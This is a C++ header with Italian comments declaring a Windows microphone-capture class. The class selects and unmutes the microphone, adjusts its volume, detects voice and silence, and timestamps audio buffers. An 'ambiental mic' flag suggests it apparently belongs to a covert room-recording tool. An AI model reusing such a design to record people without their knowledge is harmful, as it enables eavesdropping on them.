#ifndef __XPMIC_H__ #define __XPMIC_H__ #include #include #include "..\\DSound.h" #include #include "QSpeechDetect.h" extern BOOL bAmbientalMicSemaphore; #define MINISLEEP_TIME 4500 #define SAMPLES ((uAudioBufferSize ? uAudioBufferSize : 1) / wfx.nChannels) / (wfx.wBitsPerSample / 8) #define SHORT_MAX 32767 #define SHORT_MIN -32768 #define CLIP_THRESHOLD 1000 #define SILENCE_THRESHOLD 600 #define REC_FREQUENCY 44100 #define REC_BITS 16 #define REC_CHANNELS 2 // Non cambiare! #define REC_BYTEPERSECOND REC_FREQUENCY * (REC_BITS / 8) * REC_CHANNELS #define REC_SECONDS(X) X * REC_BYTEPERSECOND #define DEFINE_LOCAL_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) GUID name; { name.Data1=l; \ name.Data2=w1; \ name.Data3=w2; \ name.Data4[0]=b1; \ name.Data4[1]=b2; \ name.Data4[2]=b3; \ name.Data4[3]=b4; \ name.Data4[4]=b5; \ name.Data4[5]=b6; \ name.Data4[6]=b7; \ name.Data4[7]=b8; } #define CHK_HRESULT(x) if (x != S_OK) { break; } #define CHK_POINTER(x) if (x == NULL) { break; } typedef HRESULT (WINAPI *DirectSoundCaptureCreate8_t) (LPCGUID , LPDIRECTSOUNDCAPTURE8 *, DWORD); using namespace std; class CXPMixer { private: BOOL bCalibrate, bVoice, bSilence; INT iSilenceBlock, iSilenceLength; UINT uVoiceThreshold, uAudioBufferSize, uChunkLen, uChannels, uThreshold; FLOAT fVoiceThreshold; PBYTE m_pAudioBuffer; BOOL m_bInitialized; HMIXER m_hMixer; MIXERCAPS m_mixCaps; UINT m_uNumMixers; MIXERLINE m_mxl; // Per la modifica del volume servono il valore minimo e massimo, il numero di steps e l'ID del controllo. DWORD m_dwMinMicVal, m_dwMaxMicVal, m_dwMicStep, m_dwVolumeControlID, m_dwXPercStep; QSpeechDetect *m_pQsd; SYSTEMTIME st; WAVEFORMATEX wfx; HWAVEIN m_hWaveIn; HMODULE m_hDSound; DirectSoundCaptureCreate8_t m_pDirectSoundCaptureCreate8; LPDIRECTSOUNDCAPTURE8 m_pDSC; private: inline BOOL IsInitialized() { return m_bInitialized; }; BOOL MixInitialize(); void MixUninitialize(); BOOL MixSelectAndOpen(); BOOL MixLineSelect(UINT uLineType); BOOL MixGetVolumeControls(); BOOL SelectMic(); VOID UnMuteMic(); BOOL LoadDSound(); VOID UnloadDSound(); BOOL AcquireMic(); UINT GetVolumeStep(); UINT GetVolume(); BOOL SetVolume(UINT uVolume); BOOL MiniSleep(UINT uMilliSec); public: CXPMixer(BOOL bCalibrate, UINT uVoiceThreshold, INT iSilenceBlock); virtual ~CXPMixer(); BOOL Initialize(); BOOL StepVolumeUp(); BOOL StepVolumeDown(); BOOL AcquireMic(PBYTE* pBuffer); UINT GetBufferSize(); BOOL IsVoice(); SYSTEMTIME GetTimeStamp(); BOOL Silent(); }; #endif .